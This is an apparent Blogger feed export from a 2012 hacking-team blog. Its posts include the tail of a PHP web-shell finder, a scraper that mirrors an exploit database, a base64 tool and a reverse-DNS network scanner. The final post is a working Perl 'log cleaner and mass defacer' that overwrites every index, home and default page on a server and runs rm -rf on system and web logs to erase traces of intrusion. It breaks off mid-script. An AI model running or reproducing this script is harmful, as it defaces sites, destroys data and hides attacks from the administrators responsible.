/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c99&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;find&amp;nbsp;c99shell&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mys&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;find&amp;nbsp;MyShell&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;phs&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;find&amp;nbsp;PHP&amp;nbsp;Shell&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;phm&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;find&amp;nbsp;PHPShell&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;Macker&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;rem&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;find&amp;nbsp;phpRemoteView&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;screen&amp;nbsp;output&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;can&amp;nbsp;be&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;on&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;every&amp;nbsp;step&amp;nbsp;the&amp;nbsp;script&amp;nbsp;doas&amp;nbsp;get&amp;nbsp;printed&amp;nbsp;on&amp;nbsp;the&amp;nbsp;screen&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;off&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;no&amp;nbsp;output&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;the&amp;nbsp;script&amp;nbsp;just&amp;nbsp;writes&amp;nbsp;to&amp;nbsp;the&amp;nbsp;output&amp;nbsp;file&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;output&amp;nbsp;HTML&amp;nbsp;file&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;must&amp;nbsp;be&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*.&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;htm&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;or&amp;nbsp;*.&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;html&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;Example&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;:&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;perl&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;0&amp;nbsp;c99&amp;nbsp;on&amp;nbsp;c99shells&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;htm&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;perl&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;0&amp;nbsp;mys&amp;nbsp;off&amp;nbsp;manyshells&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;htm&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;and&amp;nbsp;exit;&lt;br /&gt;}&lt;/span&gt;&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/4042506079688697582'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/4042506079688697582'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/09/php-shell-finder-for-newbies-from-team.html' title='PHP SHELL FINDER FOR NEWBIES FROM TEAM OPENFIRE'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-571921875385789249</id><published>2012-09-25T03:23:00.001+05:30</published><updated>2012-09-25T03:23:35.585+05:30</updated><title type='text'>VERY SIMPLE 1337day&#39;s EXPLOIT DATABASE DOWNLOAD</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;messageContent&quot;&gt;
		
			&lt;article&gt;
				&lt;blockquote class=&quot;messageText ugc baseHtml&quot;&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;VERY SIMPLE 1337day&#39;s EXPLOIT DATABASE DOWNLOAD&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;span style=&quot;color: #ff9900;&quot;&gt;Extrem Simple 5 Minute Code. Reads out the 
whole Database from 1337day and saves Exploits as .html File in a Folder
 of the Startup Path called \&quot;1337day\&quot;. Code is created to reproduce 
and archive Exploits.&lt;/span&gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;Future Possibilities :&lt;/b&gt;&lt;/span&gt; Need 
To create a own Indexable and fast Searchable Database. So we will also 
Profit from it, I&#39;ll try to talk With the Cores, staffs and programmers 
and implement that Database in our own Exploit Database.&lt;br /&gt;
 &lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: magenta;&quot;&gt;Coding Language :&lt;/span&gt;&lt;/b&gt; &lt;span style=&quot;color: #3366ff;&quot;&gt;VB.NET&lt;/span&gt;&lt;br /&gt;
 &lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeCode&quot;&gt;
&lt;div class=&quot;type&quot;&gt;
Code:&lt;/div&gt;
&lt;pre&gt;Public Class Form1
 
    Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
 
        Dim Exploit As Integer = 1
 
        Do Until WebBrowser1.DocumentTitle.StartsWith(&quot;Error 404&quot;)
            WebBrowser1.Navigate(&quot;http://1337day.com/exploits/&quot; + Exploit.ToString)
            If Not System.IO.Directory.Exists(My.Application.Info.DirectoryPath + &quot;/1337day/&quot;) Then
                System.IO.Directory.CreateDirectory(My.Application.Info.DirectoryPath + &quot;/1337day/&quot;)
            End If
 
            My.Computer.Network.DownloadFile(&quot;http://1337day.com/exploits/&quot; + Exploit.ToString, String.Format(&quot;{0}/1337day/{1}.html&quot;, My.Application.Info.DirectoryPath, Exploit))
 
            Exploit += 1
        Loop
 
    End Sub
End Class
 
&lt;/pre&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/article&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/571921875385789249'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/571921875385789249'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/09/very-simple-1337days-exploit-database.html' title='VERY SIMPLE 1337day&#39;s EXPLOIT DATABASE DOWNLOAD'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-4237733532218300763</id><published>2012-09-25T03:20:00.000+05:30</published><updated>2012-09-25T03:20:05.391+05:30</updated><title type='text'>Base 64 Encoder / Decoder Coded By nu11_()_v0!d</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;messageContent&quot;&gt;
		
			&lt;article&gt;
				&lt;blockquote class=&quot;messageText ugc baseHtml&quot;&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;Base 64 Encoder / Decoder Coder By nu11_()_v0!d&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;--- by nu11_()_v0!d&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;messageText ugc baseHtml&quot;&gt;
 &lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeCode&quot;&gt;
&lt;div class=&quot;type&quot;&gt;
&lt;b&gt;Code:&lt;/b&gt;&lt;/div&gt;
&lt;pre&gt;#!usr/bin/perl
 
use MIME::Base64;
 
print &quot;Base 64 Encoder / Decoder Coder By nu11_()_v0!d\n&quot;;
print &quot;Would you like to Encode Or Decode?\n&quot;;
print &quot;Enter 1 To Encode - Enter 2 to Decode\n&quot;;
 
$ARGV[0] = &lt;stdin&gt;;
 
if($ARGV[0] == 1)
{
print &quot;\nPlease enter text to encode\n&quot;;
$ARGV[1] = &lt;stdin&gt;;
$encoded = encode_base64($ARGV[1]);
print &quot;Encoding Please wait...\n&quot;;
sleep 2;
print $encoded;
print &quot;Thank you for using nu11_()_v0!d&#39;s encoder&quot;;
exit
}
 
 
if($ARGV[0] == 2)
{
print &quot;\nPlease enter text to decode\n&quot;;
$ARGV[2] = &lt;stdin&gt;;
$decoded = decode_base64($ARGV[2]);
print &quot;Decoding Please wait...\n&quot;;
sleep 2;
print $decoded;
print &quot;Thank you for using nu11_()_v0!d&#39;s Decoder&quot;;
exit
}&lt;/stdin&gt;&lt;/stdin&gt;&lt;/stdin&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;

			&lt;/article&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/4237733532218300763'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/4237733532218300763'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/09/base-64-encoder-decoder-coded-by-nu11v0d.html' title='Base 64 Encoder / Decoder Coded By nu11_()_v0!d'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-6456994802169558513</id><published>2012-09-25T03:07:00.003+05:30</published><updated>2012-09-25T15:34:03.480+05:30</updated><title type='text'>DOMAIN SCANNER IN C</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;pre&gt;&amp;nbsp;&lt;span style=&quot;font-size: x-large;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;font-family: &#39;Open Sans&#39;;&quot;&gt;DOMAIN SCANNER IN C&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;
&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;
&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;
&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;
&lt;pre&gt; 
/*
* Totally eleetin class B, C, and single IP address scanner/lookup
* program. Hey! It even shows aliases! Make sure you give the
* correct address format with the correct switch(es). The switches
* are as follows:
* b - scan this class B network (xxx.xxx)
* c - scan this class C network (xxx.xxx.xxx)
* s - give the the hostname of this specific address (xxx.xxx.xxx.xxx)
* a - show hostname aliases also
* x - address provi&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;ded is in hexadecimal
*
* Oh, a small note: if yer actually gonna use a hex address, make
* sure to put the &#39;x&#39; switch before anything else. :)
* &quot;Team OpenFire&quot;
* max-q [L0cK]
*/
 
#include &lt;stdio .h=&quot;.h&quot;&gt;
#include &lt;sys types.h=&quot;types.h&quot;&gt;
#include &lt;sys socket.h=&quot;socket.h&quot;&gt;
#include &quot;netdb.h&quot;
 
struct hostent *gethostbyaddr();
void usage();
void bad_addr();
 
main(argc, argv)
int argc;
char *argv[];
{
char addr[4],
**ptr,
*fmt;
int arg, i, j,
a0, a1, a2, a3,
classB, classC, single, hex, alias;
extern char *optarg;
struct hostent *host;
 
classB = classC = single = alias = hex = 0;
i = j = 0;
while((arg = getopt(argc,argv,&quot;xb:c:s:a&quot;)) != EOF) {
switch(arg) {
case &#39;x&#39;:
hex++;
break;
case &#39;b&#39;:
classB++;
if(hex)
fmt = &quot;%x.%x&quot;;
else
fmt = &quot;%d.%d&quot;;
sscanf(optarg, fmt, &amp;amp;a0, &amp;amp;a1);
break;
case &#39;c&#39;:
classC++;
if(hex)
fmt = &quot;%x.%x.%x&quot;;
else
fmt = &quot;%d.%d.%d&quot;;
sscanf(optarg, fmt, &amp;amp;a0, &amp;amp;a1, &amp;amp;a2);
break;
case &#39;s&#39;:
single++;
if(hex)
fmt = &quot;%x.%x.%x.%x&quot;;
else
fmt = &quot;%d.%d.%d.%d&quot;;
sscanf(optarg, fmt, &amp;amp;a0, &amp;amp;a1, &amp;amp;a2, &amp;amp;a3);
break;
case &#39;a&#39;:
alias++;
break;
default:
usage(argv[0]);
break;
/* not reached */
}
}
 
if(classB == 0 &amp;amp;&amp;amp; classC == 0 &amp;amp;&amp;amp; single == 0)
usage(argv[0]);
 
addr[0] = (unsigned char)a0;
addr[1] = (unsigned char)a1;
if(a0&amp;gt;255||a0&lt;0 br=&quot;br&quot;&gt;bad_addr(a0);
if(a1&amp;gt;255||a1&lt;0 br=&quot;br&quot;&gt;bad_addr(a1);
if(classB) {
printf(&quot;Scanning Class B network %d.%d...\n&quot;, a0, a1);
while(j&lt;256 br=&quot;br&quot;&gt;a2=j;
addr[2] = (unsigned char)a2;
jmpC:
printf(&quot;Scanning Class C network %d.%d.%d...\n&quot;, a0, a1, a2);
while(i&lt;256 br=&quot;br&quot;&gt;a3=i;
addr[3] = (unsigned char)a3;
jmpS:
if ((host = gethostbyaddr(addr, 4, AF_INET)) != NULL) {
printf(&quot;%d.%d.%d.%d =&amp;gt; %s\n&quot;, a0, a1, a2, a3, host-&amp;gt;h_name);
ptr = host-&amp;gt;h_aliases;
if(alias)
while (*ptr != NULL) {
printf(&quot;%d.%d.%d.%d =&amp;gt; %s (alias)\n&quot;, a0, a1, a2, a3, *ptr);
ptr++;
}
} else if(single)
printf(&quot;Cannot resolve %d.%d.%d.%d\n&quot;, a0, a1, a2, a3);
if(single)
exit(0);
i++;
}
if(classC)
exit(0);
i=0;
j++;
}
} else if(classC) {
addr[2] = (unsigned char)a2;
if(a2&amp;gt;255||a2&lt;0 br=&quot;br&quot;&gt;bad_addr(a2);
goto jmpC;
} else if(single) {
addr[2] = (unsigned char)a2;
addr[3] = (unsigned char)a3;
if(a2&amp;gt;255||a2&lt;0 br=&quot;br&quot;&gt;bad_addr(a2);
if(a3&amp;gt;255||a3&lt;0 br=&quot;br&quot;&gt;bad_addr(a3);
goto jmpS;
}
exit(0);
}
 
void
usage(name)
int *name;
{
fprintf(stderr, &quot;usage: %s [-x] [-a] [-b||-c||-s] xxx.xxx[.xxx[.xxx]]\n&quot;,
name);
exit(1);
}
void
bad_addr(addr)
int *addr;
{
printf(&quot;Value %d is not valid.\n&quot;, addr);
exit(0);
}
 &lt;/0&gt;&lt;/0&gt;&lt;/0&gt;&lt;/256&gt;&lt;/256&gt;&lt;/0&gt;&lt;/0&gt;&lt;/sys&gt;&lt;/sys&gt;&lt;/stdio&gt;&lt;/span&gt;&lt;stdio .h=&quot;.h&quot;&gt;&lt;sys types.h=&quot;types.h&quot;&gt;&lt;sys socket.h=&quot;socket.h&quot;&gt;&lt;!--0--&gt;&lt;!--0--&gt;&lt;!--0--&gt;&lt;!--0--&gt;&lt;!--0--&gt;&lt;/sys&gt;&lt;/sys&gt;&lt;/stdio&gt;&lt;/pre&gt;
&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/6456994802169558513'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/6456994802169558513'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/09/domain-scanner-in-c.html' title='DOMAIN SCANNER IN C'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-5998329530293099140</id><published>2012-09-25T03:01:00.002+05:30</published><updated>2012-09-25T03:01:26.627+05:30</updated><title type='text'>PRIVATE LOG CLEANER AND MASS DEFACER </title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;font-family: &#39;arial black&#39;;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;PRIVATE LOG CLEANER AND MASS DEFACER&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: magenta;&quot;&gt;CORYRIGHT PROTECTED !!&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;bbCodeBlock bbCodeCode&quot;&gt;
&lt;div class=&quot;type&quot;&gt;
&lt;b&gt;Code:&lt;/b&gt;&lt;/div&gt;
&lt;pre&gt; 
#Priv8 Log cleaner and mass defacer
#########################################################################################################
#!/usr/bin/perl
use strict;
my $index = $ARGV[0];
if ($ARGV[0])
{
if( -e $index )
{
  system &quot;echo -e \&quot;\033[01;34mStarted MSRml V0.1 by nu11_()_v0!d Ok !!\033[01;37m\&quot;\n&quot;;
  system &quot;echo -e \&quot;\\033[01;37mDefacing all homepages ...\&quot;\n&quot;;
  system &quot;find / -name \&quot;index*\&quot; -exec cp $index {} \\;&quot;;
  system &quot;find / -name \&quot;main*\&quot; -exec cp $index {} \\;&quot;;
  system &quot;find / -name \&quot;home*\&quot; -exec cp $index {} \\;&quot;;
  system &quot;find / -name \&quot;default*\&quot; -exec cp $index {} \\;&quot;;
  system &quot;echo -e \&quot;\\033[01;37m[+] done ! all sites in this box should be defaced !\&quot;\n&quot;;
  system &quot;echo -e \&quot;\\033[01;37m----------------------------------------------------------\&quot;\n&quot;;
  system &quot;echo -e \&quot;\\033[01;37mCleaning up logs ...\&quot;\n&quot;;
  system &quot;echo -e \&quot;\033[01;34m---------erasing default log files (too fast =))---------\033[01;37m\&quot;\n&quot;;
    if( -e &quot;/var/log/lastlog&quot; )
      {
      system &#39;rm -rf /var/log/lastlog&#39;;
      system &quot;echo -e \&quot;\\033[01;37m[*]/var/log/lastlog -erased Ok\&quot;\n&quot;;
      }
    else
      {
      system &quot;echo -e \&quot;\\033[01;31m[*]/var/log/lastlog - No such file or directory\\033[01;37m\&quot;\n&quot;;
      }
    if( -e &quot;/var/log/wtmp&quot; )
      {
      system &#39;rm -rf /var/log/wtmp&#39;;
      system &quot;echo -e \&quot;\\033[01;37m[*]/var/log/wtmp -erased Ok\&quot;\n&quot;;
      }
    else
      {
      system &quot;echo -e \&quot;\\033[01;31m[*]/var/log/wtmp - No such file or directory\\033[01;37m\&quot;\n&quot;;
      }
    if( -e &quot;/etc/wtmp&quot; )
      {
      system &#39;rm -rf /etc/wtmp&#39;;
      system &quot;echo -e \&quot;\\033[01;37m[*]/etc/wtmp -erased Ok\&quot;\n&quot;;
      }
    else
      {
      system &quot;echo -e \&quot;\\033[01;31m[*]/etc/wtmp - No such file or directory\\033[01;37m\&quot;\n&quot;;
      }
    if( -e &quot;/var/run/utmp&quot; )
      {
      system &#39;rm -rf /var/run/utmp&#39;;
      system &quot;echo -e \&quot;\\033[01;37m[*]/var/run/utmp -erased Ok\&quot;\n&quot;;
      }
    else
      {
      system &quot;echo -e \&quot;\\033[01;31m[*]/var/run/utmp - No such file or directory\\033[01;37m\&quot;\n&quot;;
      }
    if( -e &quot;/etc/utmp&quot; )
      {
      system &#39;rm -rf /etc/utmp&#39;;
      system &quot;echo -e \&quot;\\033[01;37m[*]/etc/utmp -erased Ok\&quot;\n&quot;;
      }
    else
      {
      system &quot;echo -e \&quot;\\033[01;31m[*]/etc/utmp - No such file or directory\\033[01;37m\&quot;\n&quot;;
      }
    if( -e &quot;/var/log&quot; )
      {
      system &#39;rm -rf /var/log&#39;;
      system &quot;echo -e \&quot;\\033[01;37m[*]/var/log -erased Ok\&quot;\n&quot;;
      }
    else
      {
      system &quot;echo -e \&quot;\\033[01;31m[*]/var/log - No such file or directory\\033[01;37m\&quot;\n&quot;;
      }
      if( -e &quot;/var/logs&quot; )
      {
      system &#39;rm -rf /var/logs&#39;;
      system &quot;echo -e \&quot;\\033[01;37m[*]/var/logs -erased Ok\&quot;\n&quot;;
      }
    else
      {
      system &quot;echo -e \&quot;\\033[01;31m[*]/var/logs - No such file or directory\\033[01;37m\&quot;\n&quot;;
      }
    if( -e &quot;/var/adm&quot; )
      {
      system &#39;rm -rf /var/adm&#39;;
      system &quot;echo -e \&quot;\\033[01;37m[*]/var/adm -erased Ok\&quot;\n&quot;;
      }
    else
      {
      system &quot;echo -e \&quot;\\033[01;31m[*]/var/adm - No such file or directory\\033[01;37m\&quot;\n&quot;;
      }
    if( -e &quot;/var/apache/log&quot; )
      {
      system &#39;rm -rf /var/apache/log&#39;;
      system &quot;echo -e \&quot;\\033[01;37m[*]/var/apache/log -erased Ok\&quot;\n&quot;;
      }
  else
      {
